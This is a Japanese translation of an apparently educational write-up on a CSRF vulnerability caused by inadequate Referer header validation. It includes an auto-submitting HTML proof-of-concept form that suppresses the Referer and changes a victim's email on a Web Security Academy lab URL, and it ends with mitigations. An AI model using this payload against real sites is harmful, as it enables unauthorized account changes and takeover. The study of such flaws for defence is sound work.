Title: CSRF Vulnerability with Inadequate Referer Header Validation から学ぶ

ソース:

medium.com

脆弱性CSRF

 

訳:

重大度: P3/P4 (中~低)

概要:

XYZ アプリケーションに、クロスサイト リクエスト フォージェリ (CSRF) 攻撃を受けやすいセキュリティ上の脆弱性があることを確認しました。
この脆弱性は、Referer ヘッダーの検証が不十分なために発生し、攻撃者がこのヘッダーを操作して、ユーザーに代わって不正なアクションを実行する可能性があります。

 

脆弱性の説明:

インターセプトリファラーの変更:

  • CSRF脆弱性には、正規のユーザーのリクエストを傍受し、Referer ヘッダーを悪意のあるドメインに変更しようとすることが含まれます。
    Referer ヘッダーの変更が適切な検証によって効果がない場合、攻撃者は Referer ヘッダーを完全に抑制する可能性があります。

リファラーヘッダー抑制テクニック:

  • 攻撃者は、Referer ヘッダーを抑制するためにさまざまな手法を使用する可能性があります。
    <meta name="referrer" content="no-referrer">HTML ペイロードまたはその他のメソッドで、Referer ヘッダーがリクエストとともに送信されないようにします。

CSRF ペイロードの例:

  • CSRF ペイロードの例は、この脆弱性を悪用するように作成される可能性があります。
    この POC では、攻撃者は操作された Referer ヘッダーを持つ単純な HTML フォームを使用して、ユーザー アカウントに関連付けられた電子メール アドレスを変更します。

 

<!DOCTYPE html>
<html>
<body>
<form method="POST" action="https://ac6d1fe21fb2a0c7809510e7001c006c.web-security-academy.net:443/my-account/change-email">
<input type="text" name="session" value="S4dyJbRWg1IqEpZlPkhICE5vJQhnv6ve">
<input type="text" name="email" value="hola@hola.com">
<meta name="referrer" content="no-referrer">
</form>
<script>
document.forms[0].submit();
</script>
</body>
</html>

悪用の成功:

  • 攻撃者は、XYZ アプリケーションで認証された被害者に、細工した CSRF ペイロードを送信します。
    ペイロードを開くと、Referer ヘッダーの検証が不十分なため、被害者は無意識のうちに自分のアカウントで電子メール アドレスの変更などのアクションを実行します。

結論:

このCSRF脆弱性により、攻撃者はアプリケーションの不適切な Referer ヘッダー検証を悪用して、ユーザーに代わって不正なアクションを実行することが可能になります。
潜在的なアカウント乗っ取りや不正なアカウント変更を防ぐには、適切な検証と緩和策が必要です。

 

推奨事項:

強化されたリファラーヘッダー検証:

  • Referer ヘッダーの検証を強化して、同じドメインから発信された正当なリクエストのみが受け入れられるようにします。

CSRFトークン:

  • Referer ヘッダーに関係なく、CSRF 攻撃のリスクを軽減するためにanti CSRF トークンを実装します。

セキュリティー認識:

  • CSRF 脆弱性の防止を含む、安全なコーディング慣行の重要性について開発者と管理者を教育します。

 

ほなほな。